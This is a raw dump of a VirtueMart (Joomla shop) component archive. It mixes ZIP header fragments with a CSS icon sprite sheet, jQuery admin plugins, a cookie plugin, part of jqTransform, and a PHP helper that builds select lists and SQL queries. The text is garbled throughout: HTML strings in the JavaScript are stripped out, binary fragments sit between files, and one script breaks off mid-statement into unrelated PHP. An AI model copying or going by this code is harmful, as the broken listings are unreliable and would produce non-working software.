.vmicon-16-folder_wrench{ background: url(../images/icone16-more.png) 0 -1824px; } .vmicon-16-gear_in{ background: url(../images/icone16-more.png) 0 -1856px; } .vmicon-16-gift_add{ background: url(../images/icone16-more.png) 0 -1888px; } .vmicon-16-globe{ background: url(../images/icone16-more.png) 0 -1920px; } .vmicon-16-group{ background: url(../images/icone16-more.png) 0 -1952px; } .vmicon-16-group_gear{ background: url(../images/icone16-more.png) -32px 0; } .vmicon-16-house{ background: url(../images/icone16-more.png) -32px -32px; } .vmicon-16-installer_box{ background: url(../images/icone16-more.png) -32px -64px; } .vmicon-16-interface_preferences{ background: url(../images/icone16-more.png) -32px -96px; } .vmicon-16-layout{ background: url(../images/icone16-more.png) -32px -128px; } .vmicon-16-layout_content{ background: url(../images/icone16-more.png) -32px -160px; } .vmicon-16-lorry{ background: url(../images/icone16-more.png) -32px -192px; } .vmicon-16-lorry_flatbed{ background: url(../images/icone16-more.png) -32px -224px; } .vmicon-16-magnifier{ background: url(../images/icone16-more.png) -32px -256px; } .vmicon-16-map{ background: url(../images/icone16-more.png) -32px -288px; } .vmicon-16-mixer{ background: url(../images/icone16-more.png) -32px -320px; } .vmicon-16-note{ background: url(../images/icone16-more.png) -32px -352px; } .vmicon-16-page_white_stack{ background: url(../images/icone16-more.png) -32px -384px; } .vmicon-16-participation_rate{ background: url(../images/icone16-more.png) -32px -416px; } .vmicon-16-picture{ background: url(../images/icone16-more.png) -32px -448px; } .vmicon-16-pictures{ background: url(../images/icone16-more.png) -32px -480px; } .vmicon-16-piechart{ background: url(../images/icone16-more.png) -32px -512px; } .vmicon-16-plugin{ background: url(../images/icone16-more.png) -32px -544px; } .vmicon-16-plugin_edit{ background: url(../images/icone16-more.png) -32px -576px; } .vmicon-16-price_watch{ background: url(../images/icone16-more.png) -32px -608px; } .vmicon-16-report{ background: url(../images/icone16-more.png) -32px -640px; } .vmicon-16-reseller_account{ background: url(../images/icone16-more.png) -32px -672px; } .vmicon-16-reseller_account_template{ background: url(../images/icone16-more.png) -32px -704px; } .vmicon-16-reseller_programm{ background: url(../images/icone16-more.png) -32px -736px; } .vmicon-16-shopping{ background: url(../images/icone16-more.png) -32px -768px; } .vmicon-16-statistic{ background: url(../images/icone16-more.png) -32px -800px; } .vmicon-16-statistics{ background: url(../images/icone16-more.png) -32px -832px; } .vmicon-16-to_do_list_cheked_1{ background: url(../images/icone16-more.png) -32px -864px; } .vmicon-16-user-group{ background: url(../images/icone16-more.png) -32px -896px; } .vmicon-16-user-phd-group{ background: url(../images/icone16-more.png) -32px -928px; } .vmicon-16-wrench_orange{ background: url(../images/icone16-more.png) -32px -960px; } PK@y>\)-components/com_virtuemart/assets/js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Tq#8components/com_virtuemart/assets/js/jquery.noConflict.jsnuW+AjQuery.noConflict();PK@y>\Qzaa/components/com_virtuemart/assets/js/vm2admin.jsnuW+A// based on http://www.seomoves.org/blog/web-design-development/dynotable-a-jquery-plugin-by-bob-tantlinger-2683/ (function ($) { $.fn.extend({ dynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $().removeClass("vmicon-16-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onBeforeRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }); })(jQuery); (function ($) { var methods = { tabs:function (cookie) { var tabscount = this.find('div.tabs').length; if ($.cookie(cookie) == null || cookie == "product0" || tabscount == 1) var idx = 0; else var idx = $.cookie(cookie); if (idx == null) idx = 0; var options = { path:'/', expires:2}, list = '
        '; var tabswidth = 100 / tabscount; this.find('div.tabs').each( function (i) { list += '
      • ' + $(this).attr('title') + '
      • '; $(this).removeAttr('title'); } ); this.prepend(list + '
      '); this.children('div').hide(); // select & open menu var li = $('#tabs li'), div = this.children('div'); li.eq(idx).addClass('current'); div.eq(idx).slideDown(1000); li.click( function () { if ($(this).not(".current")) { var idx = li.index(this); oldIndex = $(this).addClass("current").siblings('li.current').removeClass("current").index(); if (oldIndex !== -1) { if (cookie !== "") $.cookie(cookie, idx, options); div.eq(idx).slideDown(0); div.eq(oldIndex).slideUp(0); } } } ); return this; }, accordeon:function () { var idx = $.cookie('accordeon'), options = { path:'/', expires:2}, div = this.children('div') , h3 = this.children('h3'), A = this.find('.menu-list a'); if (idx == null) idx = 0; div.hide(); h3.eq(idx).addClass('current'); div.eq(idx).show(); h3.click( function () { var menu = $(this); if (menu.not(".current")) { menu.siblings('h3.current').removeClass("current").next().slideUp(200); menu.addClass("current").next().slideDown(200); $.cookie('accordeon', h3.index(this), options); } } ); A.click( function () { $.cookie('vmapply', '0', options); } ); }, media:function (mediatype, total) { var page = 0, max = 24, container = jQuery(this); var pagetotal = Math.ceil(total / max); var cache = new Array(); var formatTitle = function (title, currentArray, currentIndex, currentOpts) { var pagination = '' , pagetotal = total / max; if (pagetotal > 0) { pagination = '<<<'; for (i = 0; i < pagetotal; i++) { pagination += '' + (i + 1) + ''; } pagination += '>>>'; } return '
      ' + (title && title.length ? '' + title + '' : '' ) + ' ' + pagination + '
      '; } jQuery("#fancybox-title").delegate(".media-pagination span", "click", function (event) { var newPage = $(this).text(); display(newPage); event.preventDefault(); }); container.delegate("a.vm_thumb", "click", function (event) { jQuery.fancybox({ "type":"image", "titlePosition":"inside", "title":this.title, "href":this.href }); event.preventDefault(); }); jQuery("#media-dialog").delegate(".vm_thumb_image", "click", function (event) { event.preventDefault(); var id = $(this).find('input').val(), ok = 0; var inputArray = new Array(); $('#ImagesContainer input:hidden').each( function () { inputArray.push($(this).val()) } ); if ($.inArray(id, inputArray) == -1) { that = jQuery(this); jQuery(this).clone().appendTo(container).unbind("click").append('
      '); that.hide().fadeIn(); } }); jQuery("#admin-ui-tabs").delegate("div.vmicon-16-remove", "click", function () { jQuery(this).closest(".vm_thumb_image").fadeOut("500", function () { jQuery(this).remove(); }); }); jQuery("#admin-ui-tabs").delegate("span.vmicon-16-remove", "click", function () { jQuery(this).closest(".removable").fadeOut("500", function () { jQuery(this).remove() }); }); jQuery("#addnewselectimage2").fancybox({ "hideOnContentClick":false, "autoDimensions":true, "titlePosition":"inside", "title":"Media list", "titleFormat":formatTitle, "onComplete":function () { $('.media-pagination').children().eq(page + 3).addClass('media-page-selected'); } }); container.delegate(".edit-24-grey", "click", function () { var data = jQuery(this).parent().find("input").val(); jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&virtuemart_media_id=" + data, function (datas, textStatus) { if (datas.msg == "OK") { jQuery("#vm_display_image").attr("src", datas.file_root + datas.file_url); jQuery("#vm_display_image").attr("alt", datas.file_title); jQuery("#file_title").html(datas.file_title); var lang = datas.file_lang.split(','); jQuery("#vmlangimg").val(lang).trigger("liszt:updated"); if (datas.published == 1) jQuery("#adminForm [name=media_published]").attr('checked', true); else jQuery("#adminForm [name=media_published]").attr('checked', false); if (datas.file_is_downloadable == 0) { jQuery("#media_rolesfile_is_displayable").attr('checked', true); //jQuery("#adminForm [name=media_roles]").filter("value='file_is_downloadable'").attr('checked', false); } else { //jQuery("#adminForm [name=media_roles]").filter("value='file_is_displayable'").attr('checked', false); jQuery("#media_rolesfile_is_downloadable").attr('checked', true); } jQuery("#adminForm [name=file_title]").val(datas.file_title); jQuery("#adminForm [name=file_description]").val(datas.file_description); jQuery("#adminForm [name=file_meta]").val(datas.file_meta); jQuery("#adminForm [name=file_url]").val(datas.file_url); jQuery("#adminForm [name=file_url_thumb]").val(datas.file_url_thumb); jQuery("[name=active_media_id]").val(datas.virtuemart_media_id); if (datas.file_url_thumb !== "undefined") { jQuery("#vm_thumb_image").attr("src", datas.file_root + datas.file_url_thumb); } else { jQuery("#vm_thumb_image").attr("src", ""); } } else jQuery("#file_title").html(datas.msg); }); }); var display = function (num) { if (typeof this.page == "undefined") { this.oldPage = this.page = 0; } if (typeof display.cache == "undefined") { display.cache = new Array(); } switch (num) { case '<': if (this.page > 0) --this.page; else return; break; case '>': if (this.page < pagetotal - 1) ++this.page; else return; break; case '<<': this.page = 0; break; case '>>': this.page = pagetotal - 1; break; default : this.page = num - 1; break; } if (this.oldPage != this.page) { //var cache = this.cache ; var start = this.page; if (typeof display.cache[start] == "undefined") { jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&mediatype=" + mediatype + "&start=" + start, function (data) { if (data.imageList != "ERROR") { display.cache[start] = data.imageList; jQuery("#media-dialog").html(display.cache[start]); jQuery(".page").text("Page(s) " + (start + 1)); } else { jQuery(".page").text("No more results : Page(s) " + (start + 1)); } } ); } else jQuery("#media-dialog").html(display.cache[start]); page = this.oldPage = this.page; $('.media-pagination').children().removeClass('media-page-selected'); $('.media-pagination').children().eq(start + 3).addClass('media-page-selected'); } } }, tips:function (image) { var xOffset = -20; // x distance from mouse var yOffset = 10; // y distance from mouse tip = this; tip.unbind().hover( function (e) { tip.t = this.title; this.title = ''; tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $('body').append('

      ' + $(this).html() + '
      ' + tip.t + '

      '); $('#vtip #vtipArrow').attr("src", image); $('#vtip').css("top", tip.top + "px").css("left", tip.left + "px").fadeIn("slow"); }, function () { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mousemove( function (e) { tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $("#vtip").css("top", tip.top + "px").css("left", tip.left + "px"); } ).mousedown( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mouseup( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ); }, toggle:function () { var options = { path:'/', expires:2}; if ($.cookie('vmmenu')) { var status = $.cookie('vmmenu'); if (status == 'hide') { this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); } } this.click(function () { $this = $(this); if ($this.hasClass('vmicon-show')) { $this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'hide', options); } else { $this.removeClass('vmicon-hide').addClass('vmicon-show'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'show', options); } }); }, yydynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $(".price-remove > span").removeClass("vmicon-16-price-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }; $.fn.vm2admin = function (method) { if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on Vm2 admin jQuery library'); } }; })(jQuery); // load defaut scripts jQuery.noConflict(); PK@y>\s5components/com_virtuemart/assets/js/jquery.coookie.jsnuW+A/** * jQuery Cookie plugin * * Copyright (c) 2010 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ jQuery.cookie = function (key, value, options) { // key and at least value given, set cookie... if (arguments.length > 1 && String(value) !== "[object Object]") { options = jQuery.extend({}, options); if (value === null || value === undefined) { options.expires = -1; } if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } value = String(value); return (document.cookie = [ encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // key and possibly options given, get cookie... options = value || {}; var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent; return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null; }; PK@y>\ ׶889components/com_virtuemart/assets/js/jquery.jqtransform.jsnuW+A/* * * jqTransform * by mathieu vilaplana mvilaplana@dfc-e.com * Designer ghyslain armand garmand@dfc-e.com * * * Version 1.0 25.09.08 * Version 1.1 06.08.09 * Add event click on Checkbox and Radio * Auto calculate the size of a select element * Can now, disabled the elements * Correct bug in ff if click on select (overflow=hidden) * No need any more preloading !! * ******************************************** */ (function(jQuery){ var defaultOptions = {preloadImg:true}; var jqTransformImgPreloaded = false; var jqTransformPreloadHoverFocusImg = function(strImgUrl) { //guillemets to remove for ie strImgUrl = strImgUrl.replace(/^url\((.*)\)/,'jQuery1').replace(/^\"(.*)\"jQuery/,'jQuery1'); var imgHover = new Image(); imgHover.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-hover.jQuery1'); var imgFocus = new Image(); imgFocus.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-focus.jQuery1'); }; /*************************** Labels ***************************/ var jqTransformGetLabel = function(objfield){ var selfForm = jQuery(objfield.get(0).form); var oLabel = objfield.next(); if(!oLabel.is('label')) { oLabel = objfield.prev(); if(oLabel.is('label')){ var inputname = objfield.attr('id'); if(inputname){ oLabel = selfForm.find('label[for="'+inputname+'"]'); } } } if(oLabel.is('label')){return oLabel.css('cursor','pointer');} return false; }; /* Hide all open selects */ var jqTransformHideSelect = function(oTarget){ var ulVisible = jQuery('.jqTransformSelectWrapper ul:visible'); ulVisible.each(function(){ var oSelect = jQuery(this).parents(".jqTransformSelectWrapper:first").find("select").get(0); //do not hide if click on the label object associated to the select if( !(oTarget && oSelect.oLabel && oSelect.oLabel.get(0) == oTarget.get(0)) ){jQuery(this).hide();} }); }; /* Check for an external click */ var jqTransformCheckExternalClick = function(event) { if (jQuery(event.target).parents('.jqTransformSelectWrapper').length === 0) { jqTransformHideSelect(jQuery(event.target)); } }; /* Apply document listener */ var jqTransformAddDocumentListener = function (){ jQuery(document).mousedown(jqTransformCheckExternalClick); }; /* Add a new handler for the reset action */ var jqTransformReset = function(f){ var sel; jQuery('.jqTransformSelectWrapper select', f).each(function(){sel = (this.selectedIndex<0) ? 0 : this.selectedIndex; jQuery('ul', jQuery(this).parent()).each(function(){jQuery('a:eq('+ sel +')', this).click();});}); jQuery('a.jqTransformCheckbox, a.jqTransformRadio', f).removeClass('jqTransformChecked'); jQuery('input:checkbox, input:radio', f).each(function(){if(this.checked){jQuery('a', jQuery(this).parent()).addClass('jqTransformChecked');}}); }; /*************************** Buttons ***************************/ jQuery.fn.jqTransInputButton = function(){ return this.each(function(){ var newBtn = jQuery(' '; } /** * Builds an enlist for information (not chooseable) * * //TODO check for misuse by code injection * * @author Max Milbers * * @param $fieldnameXref datafield for the xreftable, where the name is stored * @param $tableXref xref table * @param $fieldIdXref datafield for the xreftable, where the id is stored * @param $idXref The id to query in the xref table * @param $fieldname the name of the datafield in the main table * @param $table main table * @param $fieldId the name of the field where the id is stored * @param $quantity The number of items in the list * @return List as String */ static public function renderGuiList ($fieldnameXref, $tableXref, $fieldIdXref, $idXref, $fieldname, $table, $fieldId, $view, $quantity = 4, $translate = 1) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); VmConfig::loadJLang('com_virtuemart_countries'); //Sanitize input $quantity = (int)$quantity; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fieldnameXref) . ' FROM ' . $db->getEscaped ($tableXref) . ' WHERE ' . $db->getEscaped ($fieldIdXref) . ' = "' . (int)$idXref . '"'; $db->setQuery ($q); $tempArray = $db->loadResultArray (); if ($tempArray) { $links = ''; $ttip = ''; $i = 0; foreach ($tempArray as $value) { if ($translate) { $mainTable = $table . '_' . VMLANG; $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($mainTable) . ' JOIN ' . $table . ' using (`' . $fieldnameXref . '`) WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } else { $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($table) . ' WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } $db->setQuery ($q); $tmp = $db->loadResult (); if ($i < $quantity) { if ($view != 'user') { $cid = 'cid'; } else { $cid = 'virtuemart_user_id'; } $links .= JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=' . $view . '&task=edit&' . $cid . '[]=' . $value, FALSE), JText::_($tmp)) . ', '; } $ttip .= $tmp . ', '; // $list .= $tmp. ', '; $i++; //if($i==$quantity) break; } $links = substr ($links, 0, -2); $ttip = substr ($ttip, 0, -2); $list = '' . $links . ''; return $list; } else { return ''; } } /** * Creates a Drop Down list of available Creditcards * * @author Max Milbers * @deprecated */ static public function renderCreditCardList ($ccId, $multiple = FALSE) { $model = VmModel::getModel ('creditcard'); $creditcards = $model->getCreditCards (); $attrs = ''; $name = 'creditcard_name'; $idA = $id = 'virtuemart_creditcard_id'; if ($multiple) { $attrs = 'multiple="multiple"'; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($creditcards, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $creditcards, $idA, $attrs, $id, $name, $ccId); return $listHTML; } /** * Creates a Drop Down list of available Vendors * * @author Max Milbers * @access public * @param int $virtuemart_shoppergroup_id the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderVendorList ($vendorId, $multiple = FALSE) { $db = JFactory::getDBO (); if (Vmconfig::get ('multix', 'none') == 'none') { $vendorId = 1; $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; } else { if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { if (empty($vendorId)) { $vendorId = 1; //Dont delete this message, we need it later for multivendor //JError::raiseWarning(1,'renderVendorList $vendorId is empty, please correct your used model to automatically set the virtuemart_vendor_id to the logged Vendor'); } $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; // $html .=''; return $html; } else { $q = 'SELECT `virtuemart_vendor_id`,`vendor_name` FROM #__virtuemart_vendors'; $db->setQuery ($q); $vendors = $db->loadAssocList (); $attrs = ''; $name = 'vendor_name'; $idA = $id = 'virtuemart_vendor_id'; if ($multiple) { $attrs = ' multiple="multiple" '; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($vendors, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $vendors, $idA, $attrs, $id, $name, $vendorId); return $listHTML; } } } /** * Creates a Drop Down list of available Shopper Groups * * @author Max Milbers * @access public * @param int $shopperGroupId the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderShopperGroupList ($shopperGroupId = 0, $multiple = TRUE,$name='virtuemart_shoppergroup_id', $select_attribute='JOPTION_USE_DEFAULT' ) { $shopperModel = VmModel::getModel ('shoppergroup'); $shoppergrps = $shopperModel->getShopperGroups (FALSE, TRUE); $attrs = ''; //$name = 'shopper_group_name'; //$idA = $id = 'virtuemart_shoppergroup_id'; $attrs['class'] = 'vm-chzn-select'; if ($multiple) { $attrs['multiple'] = 'multiple'; $attrs['data-placeholder'] = vmText::_($select_attribute); //$attrs = 'multiple="multiple" data-placeholder="'.JText::_($select_attribute).'"'; if($name=='virtuemart_shoppergroup_id'){ $name.= '[]'; } } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ($select_attribute), 'virtuemart_shoppergroup_id', 'shopper_group_name'); array_unshift ($shoppergrps, $emptyOption); } //vmdebug('renderShopperGroupList',$name,$shoppergrps); $listHTML = JHTML::_ ('select.genericlist', $shoppergrps, $name, $attrs, 'virtuemart_shoppergroup_id', 'shopper_group_name', $shopperGroupId,false,true); return $listHTML; } /** * Renders the list of Manufacturers * * @author St. Kraft * Mod. St.Kraft 2013-02-24 Herstellerrabatt */ static public function renderManufacturerList ($manufacturerId = 0, $multiple = FALSE, $name = 'virtuemart_manufacturer_id') { $manufacturerModel = VmModel::getModel ('manufacturer'); $manufacturers = $manufacturerModel->getManufacturers (FALSE, TRUE); $attrs = ''; if ($multiple) { $attrs = 'multiple="multiple"'; if($name=='virtuemart_manufacturer_id') $name.= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'virtuemart_manufacturer_id', 'mf_name'); array_unshift ($manufacturers, $emptyOption); } // vmdebug('renderManufacturerList',$name,$manufacturers); $listHTML = JHTML::_ ('select.genericlist', $manufacturers, $name, $attrs, 'virtuemart_manufacturer_id', 'mf_name', $manufacturerId); return $listHTML; } /** * Render a simple country list * * @author jseros, Max Milbers, Valérie Isaksen * * @param int $countryId Selected country id * @param boolean $multiple True if multiple selections are allowed (default: false) * @param mixed $_attrib string or array with additional attributes, * e.g. 'onchange=somefunction()' or array('onchange'=>'somefunction()') * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the ID attribute * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the '; return $listHTML; } /** * Renders the list for the tax rules * * @author Max Milbers */ static function renderTaxList ($selected, $name = 'product_tax_id', $class = '') { if (!class_exists ('VirtueMartModelCalc')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'calc.php'); } $taxes = VirtueMartModelCalc::getTaxes (); $taxrates = array(); $taxrates[] = JHTML::_ ('select.option', '-1', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NONE'), $name); $taxrates[] = JHTML::_ ('select.option', '0', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL'), $name); foreach ($taxes as $tax) { $taxrates[] = JHTML::_ ('select.option', $tax->virtuemart_calc_id, $tax->calc_name, $name); } $listHTML = JHTML::_ ('Select.genericlist', $taxrates, $name, $class, $name, 'text', $selected); return $listHTML; } /** * Creates the chooseable template list * * @author Max Milbers, impleri * * @param string defaultText Text for the empty option * @param boolean defaultOption you can supress the empty otion setting this to false * return array of Template objects */ static public function renderTemplateList ($defaultText = 0, $defaultOption = TRUE) { if (empty($defaultText)) { $defaultText = JText::_ ('COM_VIRTUEMART_TEMPLATE_DEFAULT'); } $defaulttemplate = array(); if ($defaultOption) { $defaulttemplate[0] = new stdClass; $defaulttemplate[0]->name = $defaultText; $defaulttemplate[0]->directory = 0; $defaulttemplate[0]->value = 'default'; } if (JVM_VERSION === 1) { if (!class_exists ('TemplatesHelper')) { require (JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_templates' . DS . 'helpers' . DS . 'template.php'); } $jtemplates = TemplatesHelper::parseXMLTemplateFiles (JPATH_SITE . DS . 'templates'); foreach ($jtemplates as $key => $template) { $template->value = $template->name; } } else { $q = 'SELECT * FROM `#__template_styles` WHERE `client_id`="0"'; $db = JFactory::getDbo(); $db->setQuery($q); $jtemplates = $db->loadObjectList(); foreach ($jtemplates as $key => $template) { $template->name = $template->title; $template->value = $template->id; $template->directory = $template->template; } } return array_merge ($defaulttemplate, $jtemplates); } /** * Returns all the weight unit * * @author Valérie Isaksen */ static function getWeightUnit () { static $weigth_unit; if ($weigth_unit) { return $weigth_unit; } return $weigth_unit = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_KG') , 'G' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_G') , 'MG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MG') , 'LB' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_LB') , 'OZ' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_ONCE') ); } /** * Renders the string for the * * @author Valérie Isaksen */ static function renderWeightUnit ($name) { $weigth_unit = self::getWeightUnit (); if (isset($weigth_unit[$name])) { return $weigth_unit[$name]; } else { return ''; } } /** * Renders the list for the Weight Unit * * @author Valérie Isaksen */ static function renderWeightUnitList ($name, $selected) { $weight_unit_default = self::getWeightUnit (); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; /* if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); return VmHTML::selectList($name, $selected, $weight_unit_default); * */ } static function renderUnitIsoList($name, $selected){ $weight_unit_default = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_KG') , '100G' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100G') , 'M' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_M') , 'SM' => JText::_ 